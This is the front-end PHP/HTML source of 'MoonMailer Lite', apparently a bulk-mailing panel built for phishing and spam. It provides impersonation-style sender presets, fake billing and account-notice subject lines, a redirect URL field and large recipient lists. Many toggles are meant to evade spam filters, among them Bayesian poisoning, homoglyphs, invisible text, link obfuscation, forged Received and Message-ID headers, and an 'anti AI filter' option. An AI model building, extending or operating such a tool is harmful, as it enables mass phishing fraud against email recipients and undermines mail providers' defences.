.pp{display:inline-flex;align-items:center;gap:2px;padding:2px 5px;border-radius:3px;background:rgba(148,163,184,.05);border:1px solid rgba(148,163,184,.08);color:#94a3b8;font-family:'JetBrains Mono',monospace;font-size:.54rem;font-weight:600;cursor:pointer;transition:all .12s;white-space:nowrap;position:relative}
.pp:hover{background:rgba(96,165,250,.1);border-color:rgba(96,165,250,.25);color:#60a5fa}
.pp .cp{position:absolute;top:-18px;left:50%;transform:translateX(-50%);background:#10b981;color:#fff;font-size:.45rem;padding:1px 5px;border-radius:3px;opacity:0;transition:opacity .2s;pointer-events:none}
.pp.copied .cp{opacity:1}
/* Header preset buttons */
.hb{display:inline-flex;align-items:center;gap:3px;padding:3px 7px;border-radius:4px;border:1px solid rgba(148,163,184,.12);background:rgba(15,23,42,.4);color:#94a3b8;font-size:.56rem;font-weight:600;cursor:pointer;font-family:inherit;transition:all .12s}
.hb:hover{background:rgba(99,102,241,.12);border-color:rgba(99,102,241,.3);color:#c7d2fe}
.hb svg{width:10px;height:10px;opacity:.6}
.hb-p{color:#fb923c;border-color:rgba(251,146,60,.15)}.hb-t{color:#4ade80;border-color:rgba(34,197,94,.15)}.hb-x{color:#f87171;border-color:rgba(239,68,68,.15)}
/* Buttons */
.bt{padding:10px 20px;border-radius:7px;font-weight:700;font-size:13px;cursor:pointer;transition:all .2s;border:none;display:inline-flex;align-items:center;gap:6px;font-family:inherit;width:100%;justify-content:center}
.bt-p{background:linear-gradient(135deg,#cbd5e1,#94a3b8);color:#1e293b;box-shadow:0 3px 12px rgba(148,163,184,.3)}
.bt-p:hover{transform:translateY(-1px);box-shadow:0 6px 20px rgba(148,163,184,.5)}
.bt-p:disabled{opacity:.5;cursor:not-allowed;transform:none}
.sa{padding:2px 6px;border-radius:3px;border:1px solid rgba(96,165,250,.15);background:rgba(96,165,250,.06);color:#60a5fa;font-size:.5rem;font-weight:700;cursor:pointer}
/* Progress */
.pw2{display:none;margin-top:8px}.pb{background:rgba(0,0,0,.25);border-radius:6px;height:20px;position:relative;overflow:hidden}
.pf{height:100%;background:linear-gradient(90deg,#cbd5e1,#94a3b8);border-radius:6px;width:0;transition:width .3s}
.pt{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);font-size:.58rem;font-weight:700;color:#1e293b}
.lg{margin-top:6px;max-height:160px;overflow-y:auto;font-size:.55rem;font-family:'JetBrains Mono',monospace;color:#94a3b8;line-height:1.6;background:rgba(0,0,0,.15);border-radius:6px;padding:8px;white-space:pre-wrap}
/* Preview */
.pv{border:1px solid rgba(148,163,184,.15);border-radius:8px;overflow:hidden;background:rgba(15,23,42,.35);margin-bottom:8px}
.pv-t{padding:6px 10px;background:rgba(15,23,42,.25);display:flex;gap:3px;align-items:center}
.ptb{padding:4px 10px;border-radius:4px;border:1px solid rgba(148,163,184,.08);background:transparent;color:#64748b;font-size:.62rem;font-weight:600;cursor:pointer;font-family:inherit;display:inline-flex;align-items:center;gap:3px}
.ptb.act{background:rgba(96,165,250,.1);color:#60a5fa;border-color:rgba(96,165,250,.2)}
.ptb svg{width:11px;height:11px}
.pv-hdr{background:#f1f5f9;padding:6px 10px;border-bottom:1px solid #e2e8f0;color:#334155;font-size:11px}
.pv-frame{width:100%;min-height:400px;border:none;background:#fff;display:block}
.pv-src{padding:10px;font-size:.62rem;font-family:'JetBrains Mono',monospace;color:#e2e8f0;overflow:auto;max-height:500px;white-space:pre-wrap;word-break:break-all;background:rgba(0,0,0,.15)}
/* Score bar */
.score{display:flex;align-items:center;gap:8px;padding:8px 10px;background:rgba(0,0,0,.12);border-radius:6px;margin-top:6px}
.score-n{font-size:1rem;font-weight:800}.score-bar{flex:1;background:rgba(0,0,0,.2);border-radius:4px;height:6px;overflow:hidden}.score-fill{height:100%;border-radius:4px}
.score-tags{display:flex;flex-wrap:wrap;gap:2px;margin-top:4px}
.score-tag{font-size:.5rem;padding:1px 5px;border-radius:2px}
.ft{text-align:center;padding:10px;font-size:.55rem;color:#334155;margin-top:4px}
</style></head><body>
<svg style="display:none" xmlns="http://www.w3.org/2000/svg">
<symbol id="i-server" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="2" width="20" height="8" rx="2"/><rect x="2" y="14" width="20" height="8" rx="2"/><line x1="6" y1="6" x2="6.01" y2="6"/><line x1="6" y1="18" x2="6.01" y2="18"/></symbol>
<symbol id="i-mail" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2z"/><polyline points="22,6 12,13 2,6"/></symbol>
<symbol id="i-tag" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2 2 7l10 5 10-5-10-5Z"/><path d="m2 17 10 5 10-5M2 12l10 5 10-5"/></symbol>
<symbol id="i-send" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M22 2L11 13"/><path d="M22 2L15 22L11 13L2 9L22 2Z"/></symbol>
<symbol id="i-bolt" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polygon points="13 2 3 14 12 14 11 22 21 10 12 10 13 2"/></symbol>
<symbol id="i-users" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 21v-2a4 4 0 00-4-4H6a4 4 0 00-4 4v2"/><circle cx="9" cy="7" r="4"/><path d="M22 21v-2a4 4 0 00-3-3.87"/><path d="M16 3.13a4 4 0 010 7.75"/></symbol>
<symbol id="i-code" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="16 18 22 12 16 6"/><polyline points="8 6 2 12 8 18"/></symbol>
<symbol id="i-shield" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="m9 12 2 2 4-4"/></symbol>
<symbol id="i-ghost" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M9 10h.01M15 10h.01M12 2a8 8 0 0 0-8 8v12l3-3 2.5 3L12 19l2.5 3L17 19l3 3V10a8 8 0 0 0-8-8z"/></symbol>
<symbol id="i-phone" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><rect width="14" height="20" x="5" y="2" rx="2"/><path d="M12 18h.01"/></symbol>
<symbol id="i-building" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M6 22V4a2 2 0 0 1 2-2h8a2 2 0 0 1 2 2v18Z"/><path d="M6 12H4a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h2"/><path d="M18 9h2a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2h-2"/></symbol>
<symbol id="i-news" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M4 22h16a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2H8a2 2 0 0 0-2 2v16a2 2 0 0 1-2 2Zm0 0a2 2 0 0 1-2-2v-9c0-1.1.9-2 2-2h2"/></symbol>
<symbol id="i-receipt" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M4 2v20l2-1 2 1 2-1 2 1 2-1 2 1 2-1 2 1V2l-2 1-2-1-2 1-2-1-2 1-2-1-2 1Z"/><path d="M16 8H8M16 12H8M12 16H8"/></symbol>
<symbol id="i-reply" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 17 4 12 9 7"/><path d="M20 18v-2a4 4 0 0 0-4-4H4"/></symbol>
<symbol id="i-wand" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M15 4V2M15 16v-2M8 9h2M20 9h2"/><path d="M3 21l9-9"/><path d="m12.5 8.5 3 3"/></symbol>
<symbol id="i-trash" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><path d="M3 6h18M19 6v14c0 1-1 2-2 2H7c-1 0-2-1-2-2V6M8 6V4c0-1 1-2 2-2h4c1 0 2 1 2 2v2"/></symbol>
<symbol id="i-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="9" y="9" width="13" height="13" rx="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/></symbol>
<symbol id="i-dns" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><path d="M12 2a14.5 14.5 0 0 0 0 20 14.5 14.5 0 0 0 0-20"/><path d="M2 12h20"/></symbol>
<symbol id="i-sv" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="2" width="20" height="8" rx="2"/><rect x="2" y="14" width="20" height="8" rx="2"/><circle cx="6" cy="6" r="1" fill="currentColor"/><circle cx="6" cy="18" r="1" fill="currentColor"/></symbol>
<symbol id="i-plug" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22v-5"/><path d="M9 8V2"/><path d="M15 8V2"/><path d="M18 8v5a6 6 0 0 1-12 0V8Z"/></symbol>
<symbol id="i-ptr" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 10 20 15 15 20"/><path d="M4 4v7a4 4 0 0 0 4 4h12"/></symbol>
<symbol id="i-spf" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M12 8v4"/><circle cx="12" cy="16" r="1" fill="currentColor"/></symbol>
<symbol id="i-dkim" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/><circle cx="12" cy="16" r="1" fill="currentColor"/></symbol>
<symbol id="i-dmarc" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="m9 12 2 2 4-4"/></symbol>
<symbol id="i-lock" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/></symbol>
<symbol id="i-mx" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2z"/><polyline points="22,6 12,13 2,6"/><path d="M2 6l10 7 10-7"/></symbol>
<symbol id="i-ok" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><path d="m9 12 2 2 4-4"/></symbol>
<symbol id="i-no" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><path d="m15 9-6 6M9 9l6 6"/></symbol>
</svg>
<div class="ct">
<!-- Header -->
<div class="hd"><h1>MoonMailer Lite</h1><div class="hd-r">
<span class="pl" style="color:<?=$scCol?>;border-color:<?=$scCol?>40"><?=$sc?>/<?=$mx?></span>
<span class="pl <?=$s['mta_ok']?'pl-ok':'pl-er'?>"><?=h($s['mta'])?></span>
<span class="pl"><?=h($s['public_ip'])?></span>
<span class="pl">PHP <?=$s['php']?></span>
<?php foreach($ck as $c):?><span class="pl" style="color:<?=$c[1]==='ok'?'#4ade80':'#f87171'?>;border-color:<?=$c[1]==='ok'?'rgba(34,197,94,.2)':'rgba(239,68,68,.2)'?>;display:inline-flex;align-items:center;gap:2px"><svg style="width:10px;height:10px"><use href="#<?=$c[1]==='ok'?'i-ok':'i-no'?>"/></svg><svg style="width:9px;height:9px;opacity:.7"><use href="#<?=$c[2]?>"/></svg><?=$c[0]?></span><?php endforeach;?>
<form method="POST" style="display:inline"><button type="submit" name="logout" value="1" class="lo">Logout</button></form></div></div>
<!-- Tabs -->
<div class="tabs">
<button class="tab act" onclick="swTab('compose',this)"><svg><use href="#i-send"/></svg>Compose</button>
<button class="tab" onclick="swTab('server',this)"><svg><use href="#i-server"/></svg>Server & DNS</button>
</div>
<!-- TAB: Compose -->
<div class="tp act" id="t_compose">
<div class="g2">
<div>
<!-- From / Subject -->
<div class="pn"><div class="pn-h"><svg><use href="#i-mail"/></svg>Sender <span style="margin-left:auto;display:flex;gap:3px;align-items:center"><label class="ch ch-g" style="margin-right:4px"><input type="checkbox" id="b64enc" onchange="toggleB64()"><span>Base64</span></label><button type="button" class="sa" style="background:rgba(34,197,94,.08);color:#4ade80;border-color:rgba(34,197,94,.2)" onclick="loadTpl(1)">T1</button><button type="button" class="sa" style="background:rgba(96,165,250,.08);color:#60a5fa;border-color:rgba(96,165,250,.2)" onclick="loadTpl(2)">T2</button><button type="button" class="sa" style="background:rgba(251,146,60,.08);color:#fb923c;border-color:rgba(251,146,60,.2)" onclick="loadTpl(3)">T3</button><button type="button" class="sa" style="background:rgba(167,139,250,.08);color:#a78bfa;border-color:rgba(167,139,250,.2)" onclick="loadTpl(4)">T4</button><button type="button" class="sa" style="background:rgba(236,72,153,.08);color:#f472b6;border-color:rgba(236,72,153,.2)" onclick="loadTpl(5)">T5</button><button type="button" class="sa" style="background:rgba(20,184,166,.08);color:#2dd4bf;border-color:rgba(20,184,166,.2)" onclick="loadTpl(6)">T6</button><button type="button" class="sa" style="background:rgba(234,179,8,.08);color:#eab308;border-color:rgba(234,179,8,.2)" onclick="loadTpl(7)">T7</button></span></div>
<div class="fr"><div class="fg"><label>From Name <select id="namePreset" class="fc" style="padding:4px 6px;font-size:.6rem;width:auto;display:inline;margin-left:4px" onchange="if(this.value)document.getElementById('from_name').value=this.value"><option value="">-- presets --</option><option value="Accounts">Accounts</option><option value="Client Relations">Client Relations</option><option value="Client Services">Client Services</option><option value="Customer Care">Customer Care</option><option value="Finance">Finance</option><option value="Helpdesk">Helpdesk</option><option value="Infrastructure">Infrastructure</option><option value="Network Operations">Network Ops</option><option value="Provisioning">Provisioning</option><option value="Records">Records</option><option value="Service Desk">Service Desk</option><option value="Technical">Technical</option><option value="Web Services">Web Services</option><option value="Systems">Systems</option><option value="Platform Services">Platform</option></select></label><input type="text" id="from_name" class="fc" placeholder="Brand Name"></div><div class="fg"><label>From Email</label><input type="email" id="from_email" class="fc" placeholder="sender@domain.com"></div></div>
<div class="fr"><div class="fg"><label>Subject <select id="subjPreset" class="fc" style="padding:4px 6px;font-size:.6rem;width:auto;display:inline;margin-left:4px" onchange="if(this.value)document.getElementById('subject').value=this.value"><option value="">-- presets --</option><option value="[-emaildomain-] - registration period closing">Reg Closing</option><option value="[-emaildomain-] - scheduled resource review">Resource Review</option><option value="[-emaildomain-] - open balance ref [-shortid-]">Open Balance</option><option value="Statement ref [-shortid-] - [-date-]">Statement</option><option value="[-emaildomain-] - annual cycle ending [-date-]">Annual Cycle</option><option value="[-emaildomain-] - service arrangement concluding">Arrangement End</option><option value="[-emaildomain-] - card on file not accepted">Card Issue</option><option value="Ref [-shortid-] - pending allocation for [-emaildomain-]">Pending Ref</option><option value="[-emaildomain-] - resource capacity notice">Capacity</option><option value="[-emaildomain-] - web address cycle update">Address Cycle</option><option value="[-emaildomain-] - package term ending [-date-]">Package Term</option><option value="[-emaildomain-] - quarterly account summary">Quarterly</option><option value="[-emaildomain-] - configuration changes scheduled">Config Change</option><option value="[-emaildomain-] - storage allocation notice">Storage</option><option value="[-emaildomain-] - transfer receipt [-shortid-]">Receipt</option></select></label><input type="text" id="subject" class="fc" placeholder="Subject - [-email-] [-randomnumber-]"></div><div class="fg"><label>Reply-To</label><input type="email" id="reply_to" class="fc" placeholder="reply@domain.com"></div></div>
<div class="fr"><div class="fg"><label>Redirect URL [-url-]</label><input type="text" id="redirect_url" class="fc" placeholder="https://site.com/page"></div><div class="fg"><label>Logo URL</label><input type="text" id="logo_url" class="fc" placeholder="https://site.com/logo.png"></div></div></div>
<!-- Headers -->
<div class="pn"><div class="pn-h"><svg><use href="#i-code"/></svg>Custom Headers</div>
<div style="display:flex;gap:3px;flex-wrap:wrap;margin-bottom:4px">
<button type="button" class="hb" onclick="chP('unknown')"><svg><use href="#i-ghost"/></svg>Unknown</button>
<button type="button" class="hb" onclick="chP('webmail')"><svg><use href="#i-mail"/></svg>Webmail</button>
<button type="button" class="hb" onclick="chP('apple')"><svg><use href="#i-mail"/></svg>Apple</button>
<button type="button" class="hb" onclick="chP('gmail_mobile')"><svg><use href="#i-phone"/></svg>Gmail</button>
<button type="button" class="hb" onclick="chP('thunderbird')"><svg><use href="#i-bolt"/></svg>Tbird</button>
<button type="button" class="hb" onclick="chP('corporate')"><svg><use href="#i-building"/></svg>Corp</button>
<button type="button" class="hb" onclick="chP('newsletter')"><svg><use href="#i-news"/></svg>ESP</button>
<button type="button" class="hb" onclick="chP('transactional')"><svg><use href="#i-receipt"/></svg>Txn</button>
<button type="button" class="hb hb-p" onclick="chP('priority')"><svg><use href="#i-bolt"/></svg>Urgent</button>
<button type="button" class="hb" onclick="chP('replyto')"><svg><use href="#i-reply"/></svg>Reply</button>
<button type="button" class="hb hb-t" onclick="chP('arc')"><svg><use href="#i-shield"/></svg>ARC</button>
<button type="button" class="hb" onclick="chP('clean')"><svg><use href="#i-wand"/></svg>Clean</button>
<button type="button" class="hb hb-x" onclick="chC()"><svg><use href="#i-trash"/></svg>Clear</button>
</div>
<textarea id="custom_headers" class="fc" rows="4" placeholder="X-Mailer: [-randomua-]&#10;Message-ID: [-randommessageid-]&#10;# Comment lines"></textarea></div>
<!-- Import .eml -->
<div class="pn"><div class="pn-h"><svg><use href="#i-mail"/></svg>Import .eml Source <span style="font-size:.5rem;color:#64748b;font-weight:400;margin-left:auto">Paste raw headers + body</span></div>
<textarea id="eml_src" class="fc" rows="5" style="font-size:10px;min-height:100px" placeholder="Paste complete .eml source here...&#10;&#10;Return-Path: <bounce@domain.com>&#10;From: Sender <sender@domain.com>&#10;Subject: Your subject&#10;DKIM-Signature: v=1; a=rsa-sha256; ...&#10;&#10;HTML body after the blank line..."></textarea>
<div style="display:flex;gap:4px;margin-top:6px;align-items:center;flex-wrap:wrap">
<button type="button" class="hb" style="background:rgba(99,102,241,.1);color:#818cf8;border-color:rgba(99,102,241,.25)" onclick="emlParse()"><svg><use href="#i-code"/></svg> Parse Headers</button>
<button type="button" class="hb" style="background:rgba(236,72,153,.1);color:#f472b6;border-color:rgba(236,72,153,.25)" onclick="emlSendRaw()"><svg><use href="#i-send"/></svg> Send Raw Source</button>
<span style="font-size:.5rem;color:#64748b">Parse = extract to form fields | Send Raw = send .eml as-is via DATA</span>
</div>
<div style="display:flex;gap:4px;margin-top:6px;align-items:center">
<span style="font-size:.55rem;color:#64748b">Envelope From:</span>
<input type="text" id="eml_env_from" class="fc" style="flex:1;padding:4px 8px;font-size:.6rem" placeholder="Auto-detected from Return-Path / From">
</div>
<div id="emlLog" style="display:none;margin-top:6px;font-size:.55rem;font-family:monospace;padding:6px 8px;background:rgba(0,0,0,.12);border-radius:4px;color:#94a3b8;max-height:100px;overflow-y:auto"></div>
<div id="emlPW" style="display:none;margin-top:6px"><div class="pb"><div class="pf" id="emlPF"></div><span class="pt" id="emlPT">0%</span></div><div class="lg" id="emlSL" style="max-height:120px"></div></div>
</div>
<!-- Inbox Shield -->
<div class="pn"><div class="pn-h"><svg><use href="#i-shield"/></svg>Inbox Shield <button type="button" class="sa" onclick="saAll(true)" style="margin-left:auto">ON</button><button type="button" class="sa" onclick="saAll(false)" style="margin-left:3px">OFF</button></div>
<div class="rr"><span class="rl">MIME</span><div class="rc"><label class="ch ch-g"><input type="checkbox" name="inbox_multipart" value="1"><span>Multipart</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_base64_encode" value="1"><span>Base64</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_qp_encode" value="1"><span>QP</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_mime_structure" value="1"><span>Fix MIME</span></label></div></div>
<div class="rr"><span class="rl">Head</span><div class="rc"><label class="ch ch-g"><input type="checkbox" name="inbox_header_rotate" value="1"><span>Rotation</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_reputation_headers" value="1"><span>Reputation</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_subject_encode" value="1"><span>Subj encode</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_date_jitter" value="1"><span>Date jitter</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_unsub_header" value="1"><span>Unsub</span></label></div></div>
<div class="rr"><span class="rl">HTML</span><div class="rc"><label class="ch ch-g"><input type="checkbox" name="inbox_css_inline" value="1"><span>CSS inline</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_minify" value="1"><span>Minify</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_table_wrap" value="1"><span>Table</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_mso_fixes" value="1"><span>MSO</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_darkmode" value="1"><span>Dark</span></label><label class="ch ch-g"><input type="checkbox" name="inbox_alt_randomize" value="1"><span>Alt</span></label></div></div>
<div class="rr"><span class="rl rl-c">Stealth</span><div class="rc"><label class="ch ch-c"><input type="checkbox" name="inbox_antifingerprint" value="1"><span>Anti-FP</span></label><label class="ch ch-c"><input type="checkbox" name="inbox_whitespace_normalize" value="1"><span>WS</span></label><label class="ch ch-c"><input type="checkbox" name="inbox_style_shuffle" value="1"><span>Style</span></label><label class="ch ch-c"><input type="checkbox" name="inbox_link_obfuscate" value="1"><span>Links</span></label><label class="ch ch-c"><input type="checkbox" name="inbox_spam_cloak" value="1"><span>Spam</span></label><label class="ch ch-c"><input type="checkbox" name="inbox_encoding_mix" value="1"><span>UTF8</span></label><label class="ch ch-c"><input type="checkbox" name="inbox_clean_trackers" value="1"><span>Trackers</span></label></div></div>
<div class="rr"><span class="rl rl-c">CMAE</span><div class="rc"><label class="ch ch-c"><input type="checkbox" name="inbox_cmae_structure" value="1"><span>Structure</span></label><label class="ch ch-c"><input type="checkbox" name="inbox_cmae_header_noise" value="1"><span>Noise</span></label><label class="ch ch-c"><input type="checkbox" name="inbox_cmae_received_chain" value="1"><span>Received</span></label><label class="ch ch-c"><input type="checkbox" name="inbox_cmae_msgid_forge" value="1"><span>Msg-ID</span></label><label class="ch ch-o"><input type="checkbox" name="inbox_ox_cloudmark" value="1"><span>OX Cloudmark</span></label></div></div>
<div class="rr"><span class="rl rl-p">2026</span><div class="rc"><label class="ch ch-k"><input type="checkbox" name="inbox_rfc8058_full" value="1"><span>RFC8058</span></label><label class="ch ch-k"><input type="checkbox" name="inbox_arc_headers" value="1"><span>ARC</span></label><label class="ch ch-k"><input type="checkbox" name="inbox_esp_fingerprint" value="1"><span>ESP</span></label><label class="ch ch-k"><input type="checkbox" name="inbox_thread_inject" value="1"><span>Thread</span></label><label class="ch ch-k"><input type="checkbox" name="inbox_gmail_compliance" value="1"><span>Gmail</span></label><label class="ch ch-k"><input type="checkbox" name="inbox_outlook_mimic" value="1"><span>Outlook</span></label><label class="ch ch-k"><input type="checkbox" name="inbox_anti_ai_filter" value="1"><span>AI</span></label><label class="ch ch-k"><input type="checkbox" name="inbox_bimi_header" value="1"><span>BIMI</span></label><label class="ch ch-k"><input type="checkbox" name="inbox_return_path_align" value="1"><span>RPAlign</span></label><label class="ch ch-k"><input type="checkbox" name="inbox_mua_rotate" value="1"><span>MUA</span></label><label class="ch ch-k"><input type="checkbox" name="inbox_header_salting" value="1"><span>Salt</span></label></div></div>
</div>
<!-- Randomizer + Creative -->
<div class="pn"><div class="pn-h"><svg><use href="#i-bolt"/></svg>Randomizer / Creative</div>
<div class="rr"><span class="rl">Struct</span><div class="rc"><label class="ch"><input type="checkbox" name="rnd_rename_class_id" value="1"><span>Class</span></label><label class="ch"><input type="checkbox" name="rnd_replace_tags" value="1"><span>Tags</span></label><label class="ch"><input type="checkbox" name="rnd_random_table" value="1"><span>Table</span></label><label class="ch"><input type="checkbox" name="rnd_delete_comments" value="1"><span>Comments</span></label><label class="ch"><input type="checkbox" name="rnd_links" value="1"><span>Links</span></label><label class="ch"><input type="checkbox" name="rnd_images" value="1"><span>Imgs</span></label><label class="ch"><input type="checkbox" name="rnd_attr_inject" value="1"><span>Attrs</span></label></div></div>
<div class="rr"><span class="rl rl-r">Bayes</span><div class="rc"><label class="ch ch-r"><input type="checkbox" name="rnd_homoglyph" value="1"><span>Trigger</span></label><label class="ch ch-r"><input type="checkbox" name="rnd_whitespace_noise" value="1"><span>WS</span></label><label class="ch ch-r"><input type="checkbox" name="rnd_bayes_poison" value="1"><span>Poison</span></label><label class="ch ch-r"><input type="checkbox" name="rnd_invisible_text" value="1"><span>Invisible</span></label><label class="ch ch-r"><input type="checkbox" name="rnd_softhyphen" value="1"><span>Hyphens</span></label><label class="ch ch-r"><input type="checkbox" name="rnd_font_wrap" value="1"><span>Font</span></label></div></div>
<div class="rr"><span class="rl rl-v">Create</span><div class="rc"><label class="ch ch-v"><input type="checkbox" name="crv_hash_unique" value="1"><span>Hash</span></label><label class="ch ch-v"><input type="checkbox" name="crv_synonym_inject" value="1"><span>Synonym</span></label><label class="ch ch-v"><input type="checkbox" name="crv_conversation_seed" value="1"><span>ConvSeed</span></label><label class="ch ch-v"><input type="checkbox" name="crv_unique_sentence" value="1"><span>Sentence</span></label><label class="ch ch-v"><input type="checkbox" name="crv_responsive" value="1"><span>Responsive</span></label><label class="ch ch-v"><input type="checkbox" name="crv_gmail_primary" value="1"><span>Gmail 1#</span></label><label class="ch ch-v"><input type="checkbox" name="crv_length_pad" value="1"><span>Pad</span></label></div></div>
</div>
<!-- Placeholders -->
<div class="pn"><div class="pn-h"><svg><use href="#i-tag"/></svg>Placeholders <span style="font-size:.5rem;color:#475569;margin-left:auto"><svg style="width:10px;height:10px;vertical-align:middle;opacity:.4"><use href="#i-copy"/></svg> click = copy</span></div>
<div class="pw"><?php foreach(['[-email-]','[-emailuser-]','[-emaildomain-]','[-date-]','[-year-]','[-timestamp-]','[-unixtime-]','[-randomstring-]','[-randomnumber-]','[-randomletters-]','[-randommd5-]','[-randomhex-]','[-randomuuid-]','[-randomid-]','[-shortid-]','[-randommessageid-]','[-randomua-]','[-randomip-]','[-randomcolor-]','[-randomclass-]','[-randomboundary-]','[-firstname-]','[-lastname-]','[-fullname-]','[-company-]','[-jobtitle-]','[-phone-]','[-city-]','[-country-]','[-address-]','[-domain-]','[-emoji-]','[-url-]','[-url-img-]','[-name-]'] as $p) echo '<span class="pp" onclick="copyPH(this,\''.$p.'\')"><svg style="width:8px;height:8px;opacity:.35"><use href="#i-copy"/></svg>'.$p.'<span class="cp">Copied!</span></span>';?></div></div>
</div>
<div>
<!-- Message -->
<div class="pn"><div class="pn-h"><svg><use href="#i-code"/></svg>HTML Message</div>
<textarea id="html_message" class="fc" rows="14" style="min-height:240px" placeholder="<html><body>&#10;  <h1>Hello [-firstname-]!</h1>&#10;  <p>Email: [-email-]</p>&#10;  <a href='[-url-]'>Click here</a>&#10;</body></html>" oninput="dPU()"></textarea></div>
<!-- Preview -->
<div class="pv"><div class="pv-t">
<button class="ptb act" onclick="swPv('vis',this)"><svg><use href="#i-mail"/></svg>Visual</button>
<button class="ptb" onclick="swPv('src',this)"><svg><use href="#i-code"/></svg>Source</button>
<button class="hb" style="margin-left:auto" onclick="upPv()"><svg><use href="#i-bolt"/></svg>Refresh</button></div>
<div id="pvV"><div class="pv-hdr"><b>From:</b> <span id="pvF">sender</span> | <b>Subject:</b> <span id="pvS">subject</span></div><iframe id="pvI" class="pv-frame"></iframe></div>
<div id="pvC" style="display:none"><pre class="pv-src" id="pvX"></pre></div></div>
<!-- Recipients -->
<div class="pn"><div class="pn-h"><svg><use href="#i-users"/></svg>Recipients <span id="eC" style="font-size:.62rem;color:#64748b;margin-left:auto">0</span></div>
<textarea id="email_list" class="fc" rows="4" placeholder="one@gmail.com&#10;two@yahoo.com&#10;...100K+ supported" oninput="uC()"></textarea></div>
<!-- Speed + Send -->
<div class="pn"><div style="display:flex;gap:6px;align-items:center;margin-bottom:6px"><div class="fg" style="flex:1"><label>Batch Size</label><input type="number" id="batch_size" class="fc" value="100000" min="100" max="500000"></div><div class="fg" style="flex:1"><label>Delay (us)</label><input type="number" id="email_delay" class="fc" value="0" min="0"></div></div>
